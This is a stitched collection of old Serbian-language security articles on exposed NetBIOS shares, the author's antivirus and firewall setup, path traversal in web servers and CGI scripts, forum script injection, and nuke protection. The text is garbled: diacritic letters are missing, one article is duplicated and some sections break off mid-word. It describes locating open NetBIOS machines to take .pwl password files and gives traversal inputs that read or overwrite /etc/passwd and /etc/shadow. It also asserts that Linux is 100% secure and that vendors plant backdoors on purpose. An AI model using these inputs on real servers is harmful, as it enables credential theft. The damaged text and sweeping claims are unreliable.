pobrinuo i za to, zato da se ljudi mue, prave trojance i ubacuju ih, kada sve ve ima uraeno i ugraeno u svaki Windows!
Ne, nije ovo jo jedna pria o zaveri Microsoft-a, re je o jednom servisu koji se koristi kod umreenih kompjutera,
dakle tamo gde postoji lokalna mrea.
Krenimo redom.
Recimo da imamo jednu firmu, sa desetak kompjutera koji su meusobno povezani u mreu. Kod takvih mrea, ljudi
obino veruju jedni drugima i esto postave mreu tako da je svima sve dozvoljeno, tj. svako vidi svaiji disk i moe
sa tuim fajlovima da radi ta hoe. To postignu tako to *share-uju* svoje diskove, i preko servisa koji se zove
NetBios razmenjuju fajlove preko mree. Diskete su prolost!
Ako bilo koji kompjuter u mrei pristupi Internetu sa aktivnim NetBios-om, hakeri mogu da se bez problema poslue
svim fajlovima na tom kompjuteru u firmi. Sve alate ve sadri Windows, i klijent i server, samo treba znati to
(zlo)upotrebiti, a to danas zna svaki klinac koji se *igra* na Internetu!
DRAGAN MARKOVIC
Sada emo se malo osvrnuti na statistiku. U Beogradu, preko celog dana se mogu nai barem 20 kompjutera sa
aktivnim NetBiosom. U veernjim satima taj broj se popne ponekad i do 200. Ti kompjuteri su bukvalno otvoreni za
ceo Internet.
Kako ih hakeri nau?
Uzmu NetBios scaner, ukucaju IP rang koji ele da pretresu (recimo od 195.178.50.0 do 195.178.50.255), kliknu na
Search i za manje od pet minuta skeniraju sve kompjutere koji su u tom trenutku prikaeni na neki od naih provajdera.
Na ekranu im se ispiu imena kompjutera i imena grupe kompjutera, to oni zapiu u jednom specijalnom fajlu (neu
namerno navesti ime fajla da ne bi dolo do zloupotrebe), kliknu na Start/Find/Find Computers, ukucaju ime
kompjutera, pritisnu Search, pojavi im se ispod ime kompjutera, i sada je samo dupli click potreban da bi pristupili
disku na udaljenom kompjuteru.
ta mogu da urade?
Prvo e vam verovatno pokupiti *.pwl fajlove koji se nalaze u Windows-ovom direktorijumu, a koji sadre sve ifre za
Internet. Zato ljudi da plaaju Internet kada non-stop na Internetu mogu da nau ifre *na izvolte*. Zatim e malo
*procunjati* diskom, ko zna, moda nau neki interesantan dokument, u kojem su zapisane recimo informacije koje
nisu za svaije oi, na primer poslovne tajne firme. Na kraju, kada sve pregledaju, poelee moda da obriu sve to
moe. Pravi raj za hakere i pakao za rtve hakera!
Ima li zatite?
Ima! Prvo da vidimo ta treba krpiti. Netbios komnunicira preko TCP/IP protokola, to znai da koristi i odreene
portove, a to su 137, 138 i 139. O tome kako ih zatvotiti malo kasnije, pre toga da vidimo neto vanije.
Kada *share-ujete* diskove, stavite i password, i ako vam okolnosti to dozvoljavaju, stavite disku koji share-ujete
atribut Read-only, tako da niko ne moe da brie ili menja fajlove sa vaeg diska. Na ovaj nain, ako vas hakeri nau
na Internetu nee moi da pristupe vaem disku jer neznaju password, a ako i kojim sluajem uspeju da mu pristupe,
nee moi nita da unite.
Sada pogledajmo kako zatvoriti one portove.
Preporuujemo vam Firewall AtGuard, koji moete nai ovde
Njega treba konfigurisati na sledei nain:
Po Default pravilima, dozvoljen je pristup na portove 137 i 138 (NBName i NBDatagram). Servis NBName pokazuje
ime kompjutera. To moe pomoi hakeru da nae na Internetu kompjuter koji mu je potreban. Ovo ne sme da bude
dozvoljeno, pa stoga obriite ova dva pravila. Treba napraviti nova pravila za blokiranje pristupa na portove 137, 138
i 139. To se radi tako to kliknete na Dashboard/Settings, pa na Add i popunite polja koja vidite na sledei nain:
Name: upiite na primer "Blokiranje Netbiosa".
Action: Block
Direction: Either
Application: Any Application
Protocol: TCP or UDP
Service: List of services, pa kliknite na ADD, otkucajte redom 137, pa 138, pa 139 i na levoj i na desnoj strani AtGuard
Setting prozora.
Address: Any Address
Postoji i program od 7 KB koji se zove NoShare.exe i koji zatvara kompletan NetBIOS. Moe se nai na sajtu
www.grc.com. Program "ubije" NetBIOS automatski i samo prikae na ekranu da je potreban restart kompjutera. Posle
restartovanja, NetBIOS je uniten.
Postoji i jo jedan nain za iskljuivanje NetBiosa, a to je preko Control Panela:
Idite u Contol Panel -> Network, zatim TCP/IP (i Dial-Up ako je instaliran), pritisnite Properties i u sekciji Bindings
iskljuite File And Print Sharing a ubacite samo Microsoft Family Logon. Korisnici koji nemaju lokalnu mreu ovo
mogu odmah da urade, jer ova opcija slui samo za lokalnu mreu. Najvanije je da nemate Virtual Networking, File
and Printer sharing i Microsoft Client.
Moe se otii i korak dalje, Contol Panel -> Network, obrisati sve stavke i ostaviti samo TCP/IP i Dial-Up Adapter.
Ovo se poetnicima ne preporuuje jer e posle toga Windows svaki put kada uete u Control Panel/Network prijaviti
DRAGAN MARKOVIC
DRAGAN MARKOVIC
da konfigurisanje nije dovedeno do kraja. Prijavie samo to, a sve ostalo e raditi normalno, a NetBios e biti zatvoren.
Ova tri postupka zatvaraju NetBios, i ovo treba uraditi ako nemate lokalnu mreu a slujno ste instalirali File and
Printer sharing. Ako niste sigurni da li je instaliran, pogledajte da li se na vaem Desktopu nalazi ikonica "Network
Neighborhood". Ako je imate, onda je File and Printer sharing instaliran.
Ako imate mreu, ne smete zatvoriti Netbios, jer u protivnom va kompjuter nee moi da razmenjuje fajlove u mrei.
Umesto toga trebate na svaki disk staviti Password i dobro konfigurisati Firewall tako da portovima 137, 138 i 139
mogu pristupiti samo kompjuteri iz vae mree, a ne i sa celog Interneta!
Savet za najbolju zastitu
Od kako postoji sajt Zastita, dozivljavao sam razne Internet napade, gotovo preko svih servisa (email, icq, irc, web...),
ali, kao sto vidite, ni jedan nije uspeo da mi napravi nikakvu stetu.
Ja cu ovom prilikom odati tajnu najbolje zastite kako bi i drugima, kojima je pomoc potrebna, pomogao.
Ovom prilikom cu pisati o zastiti svog licnog kompjutera pod Win 98, o Linuxu drugom prilikom.
Da vidimo prvo sta ja na mom kompjuteru imam od programa za zastitu:
Antivirus: samo Kaspersky Lab AVP koji nije nikada ukljucen!
Firewall: AtGuard 3.22 (uvek ukljucen kad sam na Internetu)
Mail cistac: Magic Mail Monitor
Upravljac procesima: Process Mate
Od standardnih programa:
ICQ: ICQ 99a Beta, verzija 2.13
IRC: IRC Peace and Protection 3.20
Browser: IE 4.0 ili YU Browser
News klijent: Outlook Express 4.72
Mail klijent: The Bat 1.38e
br>
Idemo redom, objasnicu za svaki program zasto ga koristim.
Antivirus Kaspersky Lab AVP
Jednostavno, imam poverenja u Kaspersky Lab AVP jer se uvek pokazao kao najbolji.
Nikad mi nije ukljucen jer sam siguran da necu nista opasno startovati, i onda nema razloga da mi Kaspersky Lab AVP
bespotrebno zauzima prostor u memoriji i usporava kompjuter.
Naravno, pocetnicima preporucujem da im Kaspersky Lab AVP uvek bude ukljucen jer pocetnici nikada nisu sigurni
da nece startovati nista sumnjivo.
Pre nego sto startujem neki novi program koji sam dovukao sa Interneta ili mi je drug doneo disketu - obavezno skeniram program ili disketu.
Ne oslanjam se nikada potpuno na Antiviruse, tako da ako mi neko posalje SLIKA.EXE a AVP kaze da je fajl cist, ja i
pored toga necu startovati pomenuti fajl, jer u tom EXE fajlu mogu biti komande za brisanje celog diska, koje AVP
nece registrovati jer su to za njega obicne komande.
Firewall AtGuard 3.22
On je tu da bi sprecio trojance koji samo nekim cudom mogu da se instaliraju na mom kompjuteru. On je kao drugi
nivo zastite, i aktivan je za slucaj da se probije prvi nivo zastite, a to je instaliranje trojanaca.
Moram da se pohvalim da niko jos nije probio ni prvi nivo, a o drugom mogu samo da sanjaju.
Aktivan je i da bi sprecio DoS napade, koji mogu da blokiraju kompjuter ako imate recimo Win 95 (mada nisam sigu-
DRAGAN MARKOVIC
Ovaj mail klijent ima svoj HTML engine koji NE podrzava Javu i ActiveX, tako da mi bukvalno ni jedan email ne
moze nauditi.
Gotovo svakodnevno primam emailove koji bi napravili dar-mar kada bi ih otvorio iz Outlook Expressa ili Netscape
Messangera.
Mogu slobodno reci da mi svakodnevno spasava glavu, do sada je barem 500 puta spasio
Uzasnem se kada pomislim da skoro svi koriste Outlook Express ili Netscape Messanger, ja ih ni u ludilu ne bih koristio za citanje emaila sa ukljucenom podrskom za Javu i ActiveX.
Postoji barem 1000 nacina da vam preko Outlook Expressa ili Netscape Messangera upadnu u racunar, ne zaboravite
to!!!
To je sve!
Ova kombinacija programa jos nije ni jedanput razbijena, sto se i vidi, jer Zastita jos nije haknuta, a ako je haknu - moj
kompjuter nece biti taj gde ce lameri upasti !
Dakle, ako ste Webmaster ili obican Internet korisnik koji koristi Win95/98/NT/2000, nataknite Firewall, instalirajte
jedan Antivirus i bacite Outlook Express!
P.S. Nemojte da mislite da sam zaludjenik koji nije cuo za Linux! Ovo je kombinacija koju koristim kad sam u Windowsu, a o mojim iskustvima sa Linuxom drugom prilikom.
Bezbednost servera
Verovatno vam se tekst koji sledi ini nezanimljivim jer niste provajder i nemate klasine servere, ali, uveravam vas da
va kompjutrer postaje server im se prikljuite na Internet, znali to ili ne.
Prvo da vidimo ta je to server!
Server je program koji ima pristup Internetu, komunicira sa ostalim raunarima u mrei i razmenjuje podatke. Ve sada
shvatate da vi na vaem raunaru imate barem jedan takav program, a to je uglavnom ICQ. On prima podatke, obrauje
ih (prikazuje) i alje - pravi server.
Ovo saznanje vam je verovatno promenilo sliku o Internetu, vie nemate predstavu da su serveri veliki specijalni
kompjuteri koji imaju neprekidan pristup Internetu, i poinjete da shvatate da nisu samo serveri provajdera na meti
hakera.
Ja sam na obinom Windowsu 98 instalirao web i ftp server, i svako je mogao da pristupi mom raunaru dok sam bio
na Internetu, i vidi prezentaciju sa mog diska. Dakle, svaki raunar je ravnopravni lan Interneta, i svako moe instalirati po nekoliko servisa i bilo ko iz bilo koje take na ovoj planeti moe komunicirati sa bilo kojim raunarom na Internetu. Jedina razlika izmeu servera provajdera i mog servera je ta to provajder ima neprekidan pristup Internetu a ja
nemam.
Poto smo sada razjasnili ta su serveri, pogledajmo sada zato svi serveri nisu bezbedni.
Jedan server, uzmimo za primer recimo web server, je obian program koji je pisan uglavnom na jeziku C++, i surs
njegovog programa ima od prilike 10 000 linija. To nije nimalo mali program, veoma je nepregledan, i ponekad se i
sami programeri koji piu taj server zbune u tolikom moru kda. Greke su neminovne, pa se zato velikom brzinom
izbacuju nove verzije sa ispravljenim grekama.
Da se razumemo, ja lino ne verujem da su programeri toliko naivni pa da naprave par greaka ba tamo gde nikako ne
bi smeli da ih prave. Jeste da je program veliki, ali ako malo bolje pogledamo, videemo da se 90% greaka javlja ba
u delu gde program (server) trai autorizaciju (username i password). Jednostavno se zapitamo zato ne gree negde u
"unutranjosti" programa, nego ba tamo gde je izrazito zabranjeno da se grei.
Tako kau i svi hakeri, ako pitate bilo kog hakera "da li programeri namerno prave greke" budite sigurni da e mu
odgovor biti slian ovome : "naravno, oni moraju da obezbede svojoj vladi i njihovim tajnim organizacijama tajni ulaz
u svaki raunar", a ako ga pitate "da li sam ja bezbedan ako imam firewall" on e vam odgovoriti : "phehehe, pa ta ti
misli, da su oni ludi da piu firewall koji nema tajni ulaz?"
DRAGAN MARKOVIC
Naravno, meni ostaje samo da vas posavetujem da im ne verujete sve to kau, jer ete u protivnom postati paranoik,
kao to sam ja postao
Paranoik sam postao odavno, ali svakog dana postajem jo vei, jer me frapiraju vesti poput ove:
"Uozoravamo sve sistem administratore na veoma ozbiljan propust u serveru WU-FTPD koji dozvoljava remote root
pristup. Ugrozene su sve verzije WU-FTPD pocev od 1994. godine pa do verzije 2.6.0. Ovo je najveci bezbednosni
problem nakon propusta u named koji je otkriven novembra prosle godine."
Verovatno ete se i vi zaprepastiti ako se zapitate da li je mogue da programeri za punih 6 godina nisu primetili toliku
veliku greku, a da su za to vreme izbacili pedesetak podverzija.
Hakeri su ti koji otkrivaju propuste, neki hakeri odmah objave propust, a neki ih uvaju za sebe. Hakeri koji trae
propuste i objavljuju ih, se veoma cene u svetu, neki od njih rade kao administratori i imaju visoku platu.
Ali, da bi hakeri nali propust, oni moraju da analiziraju surs programa, a kao to znamo, svim Linux programima su
sursevi dostupni javnosti, pa je tako mnogo lake pronai propust. Zato se i 90% propusta nalazi kod Linux programa
i to je dobra injenica jer znai da lovci na propuste ne spavaju.
Mnogo manje otkrivenih propusta imaju serveri pisani za Windows, zato to njihovi sursevi nisu dostupni javnosti i
strogo se vodi rauna da surs negde "ne procuri".
Windows programi imaju daleko vie propusta, samo to za njih ne zna niko, ili znaju samo oni koji trebaju da znaju.
Kada bi sada neko objavio na Internetu surs Windowsa, verujem da bi hakeri nali minimum 5000 propusta, poev od
propusta koji omoguava pregledavanje hard-diska na bilo kom raunaru koji je prikljuen na Internet i ima Windows,
pa sve do preuzimanja pune kontrole nad pomenutim raunarom. Isto vai i za ICQ, siguran sam da i on ima tajni ulaz.
Kako se zatiti?
Sada verovatno oekujete ili se barem nadate da u napisati "zatita od ovoga je laka" ali, na alost, zatita nije nimalo
laka.
Ono to bih ja preporuio je prelazak na Linux, a za ljude koji ele intenzivno da se bave zatitom i bezbednou
uopte, preporuujem da naue C++ kako bi mogli sami da analiziraju surs i na taj nain znaju "na emu su"!
Windows nikada nee biti do kraja "zakrpljen", jer da bi bio 100% bezbedan treba da se objavi njegov surs, kako bi ga
stotine hiljada hakera analiziralo, a to se, nadamo se, nikada nee desiti, jer bi u protivnom bilo veoma rizino biti na
Internetu.
Sa druge strane, Linux je kao operativni sistem bez i jednog otvorenog servisa 100% bezbedan, a serveri su gotovo
oieni od greaka.
Linux e definitivno biti budui glavni operativni sistem, samo je pitanje vremena kada e se to desiti. Veina ljudi koji
se dobro razumeju u kompjutere su ve preli na Linux, a obinim korisnicima i poetnicima ostaje nada da e se i oni
jednog dana dobro razumeti u kompjutere kako bi preli na Linux, i nada da za to vreme surs Windowsa i ICQa nee
nigde procureti.
Sada emo "zaviriti ispod haube" i saznati gde programeri gree kada piu servere i mogu li se te greke izbei.
Najvie greaka u serverima se javlja u delovima programa koji radi sa fajlovima ije ima udaljeni korisnik odreuje.
Recimo da imamo web server koji je postavljen na adresi www.primer.com. Kada neki surfer eli da otvori
>www.primer.com/naslovna.html, server sa svog diska mora da proita fajl naslovna.html koji se kod njega nalazi u
direktorijumu C:WEBPUBLIC. Dakle, u ovom sluaju je surfer odredio da mu server poalje fajl naslovna.html i
server je sa svog diska proitao fajl C:WEBPUBLICNASLOVNA.HTML i poslao mu preko Interneta. Ako bolje
pogledate, videete da server ne bi smeo da ita fajlove iz drugih direktorijuma, tj. Iz direktorijuma koji grade
C:WEBPUBLIC (to su C:WEB i C:), ve samo iz C:WEBPUBLIC i iz direktorijuma koji slede iza njega (na primer
C:WEBPUBLICPECA).
To je pravilo, i svaki server bi trebao to da obezbedi jer bi u protivnom svako mogao da pristupi falovima u recimo C:
ili C:WINDOWS i sazna poverljive podatke (sifre, dokumente) koje nisu za javnost.
Ali (uvek ovo ALI ), to nije uvek tako, a evo i zato:
Kliknite na Start pa na Run i u polju Open ukucajte sledee : C:WINDOWSSYSTEM..README.HTM
ta e se otvoriti?
Otvorie se C:WINDOWSREADME.HTM zato to one dve take iza SYSTEM i ispred README.TXT znae da se
fajl nalazi jedan direktorijum ispred, tako da se direktorijum SYSTEM zanemaruje i otvara se fajl koji se nalazi u direktorijumu ispred SYSTEM, a to je C:WINDOWS. Ako bismo stavili dva puta dve take, fajl bi bio potraen u C: , a ako
DRAGAN MARKOVIC
iza
tih
taaka
dopiemo
ime
nekog
(ili
nekih)
direktorijuma,
kao
na
primer
C:WINDOWSSYSTEM....DOSREADME.HTM, dobili bi smo C:DOSREADME.HTM!
Sada se verovatno pitate da li to znai da mi sada moemo da u browseru ukucamo www.primer.com/../../autoexec.bat
i dobijemo fajl C:AUTOEXEC.BAT koji se nalazi na serveru ?
To vam nee poi za rukom u 99% sluajeva, jer bi ovakva rupa bila odmah otkrivena, to e vam uspeti jedino ako
naete web server koga je pisalo neko dete. Programeri koji piu servere nisu toliko naivni pa da ovde naprave propust,
ali na alost, ovakvi propusti se javljaju na "zavuenim" mestima.
Recimo operativni sistem IRIX je u nekim ranijim verzijama imao propust koji je omoguavao da se prebrie bilo koj
fajl na disku ako je aktivan dail-up servis. Neuspeli pokuaji logovanja su se zapisivali u
/var/logs/dailup/error/username (putanja nije tana, priblina je), gde umesto username ide ono to je korisnik ukucao
kao username. Kao to vidite, ukoliko bi udaljeni korisnik umesto svog username-a ukucao ../../../../etc/passwd server
bi prebrisao fajl u kome se nalaze sifre korisnika (/var/logs/dailup/error/../../../../etc/passwd je isto to i /etc/passwd).
Napomenuo sam da se ovakvi propusti pojavljuju na "zavuenim" mestima, gde ih programer ne oekuje, ali na alost,
i tu imamo izuzetke.
ICQ 99, najpopularniji program za chatovanje na Internetu, ima ovakav propust u HomePage servisu koji je ustvari
web server. U browseru samo treba ukucati maginu adresu sa nekoliko taaka i moete pristupiti bilo kom fajlu na
kompjuteru vaeg prijatelja koji ima ICQ 99 i ukljuen Home Page servis.
Korisnicima koji imaju ICQ 99 i ukljuen ovaj servis preporuujem da ga odmah iskljue. Ako niste sigurni da li vam
je ovaj servis ukljuen, pitajte vae prijatelje sa ICQ liste da li pored vaeg nickname-a stoji "kuica". Ako je ima, onda
vam je servis ukljuen.
Ovakvi propusti se masovno javljaju jo i kod CGI skriptova koje izvrava Perl na web serverima. Poto se CGI skriptovi izvravaju (Perl ih ita i izvrava), oni imaju sve privilegije kao i pravi programi, to znai da mogu i da itaju sa
serverovog diska. To znai da, ako haker nae neki server na kome postoji CGI skripta koja nema proveru za /../ i koja
ita sa diska servera i alje udaljenom surferu fajl koji proita, haker moe uputiti svoj browser na recimo
www.primer.com/cgi-bin/citaj?../../../../etc/shadow i dobiti najuvaniji fajl na tom serveru, a to je fajl sa siframa. Naravno, teko je nai danas server sa ovakvim propustom, pa zato i nema razloga za strah, samo se treba drati dalje od
sumnjivih sajtova koji nude besplatne i naravno sumnjive CGI sktiptove.
Kako se zatiti ?
Kao to se moe videti iz prethodnih primera, ovakav tip propusta se javlja samo u delovima programa koji radi sa
fajlovima ije ima udaljeni korisnik odreuje. Naravno da postoji reenje, vri se provera imena fajla, samo to tu proveru programeri zaborave da ubace u nekim delovima programa.
Zato, ako budte nekada pisali svoj server, budite paljivi i predvidite sve situacije sa imenima fajlova koji sadre /../ jer
ak i profesionalci prave ovakve greke!
to se tie obinih Windows korisnika - drite se dalje od programa za deljenje fajlova, kakvi su Napster i Gnutella, jer
u moru kda velika je verovatnoa da e se nekom programeru podkrasti greka koja e hakerima omoguiti i download vaih privatnih fajlova!
Zasto Linux?
Mnogi korisnici koji koriste Windows se pitaju zato se tolika praina digla oko tog Linuxa i zato je Linux bezbedniji.
Ovom prilikom emo pokuati da damo odgovore na ova dva pitanja i tako reiti sve dileme koje imaju nai itaoci.
Kao to znate, Windows 9x korisnici nemaju nikakvu mogunost da zatite svoje fajlove i direktorijume, svako ko
sedne za raunarom moe da proita bilo koj fajl, izmeni ga ili obrie. Kod Linuxa to nije sluaj!
Linux je multi-user operativni sistem, to u prevodu znai da svako ko eli da koristi va raunar mora prvo da se registruje na sistem kao neki korisnik i unese lozinku, ba kao kada se logujete na Internet. Da biste uopte neto uradili na
raunaru morate prvo da se logujete, i tako logovani moete da radite samo ono to vam je vlasnik raunara, tzv. administrator, dozvolio. Svaki korisnik ima svoj glavni direktorijum (home), u kome moe da pie, brie, kreira poddirektorijume, itd. Nigde izvan njega nema dozvolu da pie i brie, ima pravo samo da ita i izvrava, i to samo iz direktorijuma
u kome se nalaze programi, ne i u direktorijume drugih korisnika. Administrator naravno moe da izmeni ova pravila,
i recimo omogui korisniku da pie i tamo gde su izvrni fajlovi. Treba napomenuti da postoje i grupe korisnika, za
koje isto postoje pravila.
DRAGAN MARKOVIC
DRAGAN MARKOVIC
rno novo. Ali nije, dinamiki kreirane stranice ste ve viali puno puta: diskusije, knjige gostiju,... Meutim, novo je
to je veina dananjih najuspjenjih sajtova skoro u potunosti dinamika, tj. sve stranice se kreiraju u letu.
Onoliko koliko su atraktivni ovako kreirani sadraji i koliko doprinose sveini nekog sajta, toliko mogu da budu i
opasni ukoliko nisu korektno instalirani. I ne samo to! Buduci da je Internet pun besplatnih skriptova sumnjivog
kvaliteta, pravilna instalacija skripta koji nije pravilno napisan i koji ostavlja sigurnosne rupe u sistemu nee mnogo
pomoi.
O emu se zapravo radi? Veina Web brauzera ima mogunost izvravanja skriptova koji su ugraeni u stranice koje
se preuzimaju sa servera. Takvi skriptovi mogu biti napisani u raznim jezicima i pokree ih klijentov brauzer. Kreator
prezentacije e u stranice ugraditi razne korisne skriptove koji e pomoi posetiocima da se lepe oseaju na sajtu, da
imaju laku navigaciju i slino. Meutim, ukoliko postoji mogunost da sami posetioci unose podatke na osnovu kojih
e biti kreirane stranice, kreator sajt vie nema kontrolu da li je uz poruku u forumu ili knjizi gostiju ostavljen i skript!
Na primer, ukoliko imate diskusije, posetilac moe ostaviti poruku ovoga oblika:
Pozdrav svima! Ovo je moja poruka
<SCRIPT>opasni kod</SCRIPT>
Ovo je kraj moje poruke
Kada ostali posetioci diskusionih strana otvore stranu sa tom porukom, ukoliko je podrka za skriptove ukljuena (a
ukljuena je standardno!) opasni kod e biti izvren bez znanja posetioca. Opasni kod moe biti ukljuen u ve pomenuti <SCRIPT> tag, ali i u <OBJECT>, <APPLET> ili <EMBED> tagove.
Svi profesionalni softveri koji pokreu diskusije imaju ugraenu podrku za prepoznavanje i eliminisanje ovakvih
napada. Meutim, veliki broj CGI skriptova koji su trenutno aktivni na Webu nema nikakvu zatitu od napada ovoga
tipa ili je kreatori sajta nisu ukljuili iz neznanja.
Postoje i drugi naini napada, ee korieni u e-mail ili newsgroup porukama. Ukoliko neki korisnik ostavi poruku
tipa
<A HREF="http://www.naprimer.com/komentar.cgi? komentar=<SCRIPT>opasni kod</SCRIPT>">Kliknite
ovde!</A>
ostali korisnici mogu kliknuti na gornji link. Ako Web server vrati stranu korisniku ukljuujui i vrednost poslatog
parametra komentar korisnikov brauzer e izvriti opasni kod.
Trei primer se odnosi na klasine formulare koje sadri skoro svaki sajt. <FORM> tag je potencijalna alatka napadaa.
Na primer, ubacivanjem opasnog <FORM> taga na pravo mesto, napada moe dobiti osetljive podatke od korisnika
menjajui ponaanje postojeeg formulara.
I ostali HTML tagovi mogu biti u manjoj meri zloupotrebljeni menjajui izgled strane, ubacivanjem neeljenih slika ili
zvukova i slino.
Dakle, obini korisnici Interneta mogu neeljeno pokrenuti izvravanje skriptova koje je napisao neki zlobni korisnik
na mnogo naina: klikom na sumnjivi link na We stranici, e-mail ili newsgroup poruci ili prostim gledanjem dinamiki
kreirane stranice.
Reenja
Glavna odgovornost za sigurnost posetilaca lei na webmasterima. Njihov zadatak je da provere sigurnost svojih
formulara i skriptova koji generiu dinamike stranice na osnovu korisnikog ulaza. Eliminisanje neeljenih tagova je
jednostavno i obavezno. Dobar korak u suavanju prostora za delovanje eventualnih napadaa je i definisanje seta
karaktera za sve dinamiki generisane strane.
Ne postoji nijedno 100% sigurno reenje za korisnike. Ono to obian korisnik moe da uradi je da iskljui izvravanje
skriptova u svom brauzeru. Time e se zatititi od izvravanja neeljenih skriptova, ali e surfovanje po nekim
sajtovima biti tee, ako ne i nemogue. Takoe, neete se zatititi od zloupotrebe <FORM> taga. Na Vama je da
odluite. Ukoliko elite maksimalnu sigurnost, iskljuite skriptove, u suprotnom ih ostavite ukljuene za puni doivljaj
surfovanja.
Najvea opasnost vreba od sajtova na koje dolazite prvi put, klikom na link sa nekog drugog sajta, e-mail, ICQ ili
Odigo poruke.
Sledei nain da smanjite rizik prve posete sumnjivom sajtu je da ne kliknete na link, ve da adresu sajta (samo adresu)
ukucaju runo u Web brauzer. Pri tome treba biti paljiv jer se link moe JavaScript-om maskirati i pravu adresu u
Status baru brauzera sakriti prikazujui poruku ili ak potpuno drugu adresu!
DRAGAN MARKOVIC
Na kraju...
Nemojte da Vas ovaj tekst obeshrabi u korienju Interneta. Cilj je da kreatore prezentacija napomenemo na stvari koje
su im moda promakle panji, a ostale korisnike da upoznamo sa nainom prevencije ovakvih pojava.
Nukovanje
O dinamiki kreiranim Web stranicama se mnogo govori danas, toliko da bi neko pomislio da je to neto revolucionarno novo. Ali nije, dinamiki kreirane stranice ste ve viali puno puta: diskusije, knjige gostiju,... Meutim, novo je
to je veina dananjih najuspjenjih sajtova skoro u potunosti dinamika, tj. sve stranice se kreiraju u letu.
Onoliko koliko su atraktivni ovako kreirani sadraji i koliko doprinose sveini nekog sajta, toliko mogu da budu i
opasni ukoliko nisu korektno instalirani. I ne samo to! Buduci da je Internet pun besplatnih skriptova sumnjivog
kvaliteta, pravilna instalacija skripta koji nije pravilno napisan i koji ostavlja sigurnosne rupe u sistemu nee mnogo
pomoi.
O emu se zapravo radi? Veina Web brauzera ima mogunost izvravanja skriptova koji su ugraeni u stranice koje
se preuzimaju sa servera. Takvi skriptovi mogu biti napisani u raznim jezicima i pokree ih klijentov brauzer. Kreator
prezentacije e u stranice ugraditi razne korisne skriptove koji e pomoi posetiocima da se lepe oseaju na sajtu, da
imaju laku navigaciju i slino. Meutim, ukoliko postoji mogunost da sami posetioci unose podatke na osnovu kojih
e biti kreirane stranice, kreator sajt vie nema kontrolu da li je uz poruku u forumu ili knjizi gostiju ostavljen i skript!
Na primer, ukoliko imate diskusije, posetilac moe ostaviti poruku ovoga oblika:
Pozdrav svima! Ovo je moja poruka
<SCRIPT>opasni kod</SCRIPT>
Ovo je kraj moje poruke
Kada ostali posetioci diskusionih strana otvore stranu sa tom porukom, ukoliko je podrka za skriptove ukljuena (a
ukljuena je standardno!) opasni kod e biti izvren bez znanja posetioca. Opasni kod moe biti ukljuen u ve pomenuti <SCRIPT> tag, ali i u <OBJECT>, <APPLET> ili <EMBED> tagove.
Svi profesionalni softveri koji pokreu diskusije imaju ugraenu podrku za prepoznavanje i eliminisanje ovakvih
napada. Meutim, veliki broj CGI skriptova koji su trenutno aktivni na Webu nema nikakvu zatitu od napada ovoga
tipa ili je kreatori sajta nisu ukljuili iz neznanja.
Postoje i drugi naini napada, ee korieni u e-mail ili newsgroup porukama. Ukoliko neki korisnik ostavi poruku
tipa
<A HREF="http://www.naprimer.com/komentar.cgi? komentar=<SCRIPT>opasni kod</SCRIPT>">Kliknite
ovde!</A>
ostali korisnici mogu kliknuti na gornji link. Ako Web server vrati stranu korisniku ukljuujui i vrednost poslatog
parametra komentar korisnikov brauzer e izvriti opasni kod.
Trei primer se odnosi na klasine formulare koje sadri skoro svaki sajt. <FORM> tag je potencijalna alatka napadaa.
Na primer, ubacivanjem opasnog <FORM> taga na pravo mesto, napada moe dobiti osetljive podatke od korisnika
menjajui ponaanje postojeeg formulara.
I ostali HTML tagovi mogu biti u manjoj meri zloupotrebljeni menjajui izgled strane, ubacivanjem neeljenih slika ili
zvukova i slino.
Dakle, obini korisnici Interneta mogu neeljeno pokrenuti izvravanje skriptova koje je napisao neki zlobni korisnik
na mnogo naina: klikom na sumnjivi link na We stranici, e-mail ili newsgroup poruci ili prostim gledanjem dinamiki
kreirane stranice.
Reenja
Glavna odgovornost za sigurnost posetilaca lei na webmasterima. Njihov zadatak je da provere sigurnost svojih
formulara i skriptova koji generiu dinamike stranice na osnovu korisnikog ulaza. Eliminisanje neeljenih tagova je
jednostavno i obavezno. Dobar korak u suavanju prostora za delovanje eventualnih napadaa je i definisanje seta
karaktera za sve dinamiki generisane strane.
Ne postoji nijedno 100% sigurno reenje za korisnike. Ono to obian korisnik moe da uradi je da iskljui izvravanje
skriptova u svom brauzeru. Time e se zatititi od izvravanja neeljenih skriptova, ali e surfovanje po nekim
DRAGAN MARKOVIC
sajtovima biti tee, ako ne i nemogue. Takoe, neete se zatititi od zloupotrebe <FORM> taga. Na Vama je da
odluite. Ukoliko elite maksimalnu sigurnost, iskljuite skriptove, u suprotnom ih ostavite ukljuene za puni doivljaj
surfovanja.
Najvea opasnost vreba od sajtova na koje dolazite prvi put, klikom na link sa nekog drugog sajta, e-mail, ICQ ili
Odigo poruke.
Sledei nain da smanjite rizik prve posete sumnjivom sajtu je da ne kliknete na link, ve da adresu sajta (samo adresu)
ukucaju runo u Web brauzer. Pri tome treba biti paljiv jer se link moe JavaScript-om maskirati i pravu adresu u
Status baru brauzera sakriti prikazujui poruku ili ak potpuno drugu adresu!
Na kraju...
Nemojte da Vas ovaj tekst obeshrabi u korienju Interneta. Cilj je da kreatore prezentacija napomenemo na stvari koje
su im moda promakle panji, a ostale korisnike da upoznamo sa nainom prevencije ovakvih pojava.
Zastita od nukovanja
Da bi ste se zastitili od Nukovanja, skinite NukeNabber sa adrese http://dynamsol.ulink.net/files/nn29b.exe. To je
veoma koristan program koji moze da *prisluskuje* 50 portova odjednom. Kada neko pokusa da vas *nukuje* (posalje
preveliki ping paket u cilju rusenja sistema) preko nekog od portova na kojem je konfigurisan NukeNabber, ovaj ga
sprecava i pokazuje vam njegovu IP adresu. Postoji i mogucnost da se port preko koga je pokusan napad zatvori na
odredjeno vreme, kao i da se IP napadaca automatski iskopira u clipboard. NukeNabber koristi i funkcije "finger",
"trace route" i "whois" kako bi se dobili podaci o kompjuteru, provajderu napadaca i administratoru ukoliko se ISP
(Internet Service Provider) nalazi u Sjedinjenim Americkim Drzavama. Program moze da prisluskuje i TCP i UDP
konekcije.
Inace, pored standarnih portova (default), NukeNabber bi trebalo konfigurisati i da prisluskuje sledece portove: UDP
31337 (port na koji je najcesce konfigurisan Back Orifice, ako podesite ovaj port NoBO mozete slobodno islkjuciti jer
ga NukeNabber sada zamenjuje), TCP 50505 (Troiev2), TCP 20034 (Netbus 2.0, ovo zamenjuje NetBuster, sada ga
mozete slobodno iskljuciti), TCP 40426 (Masters Paradise). U zagradi su navedeni nazivi najcescih trojanaca koji rade
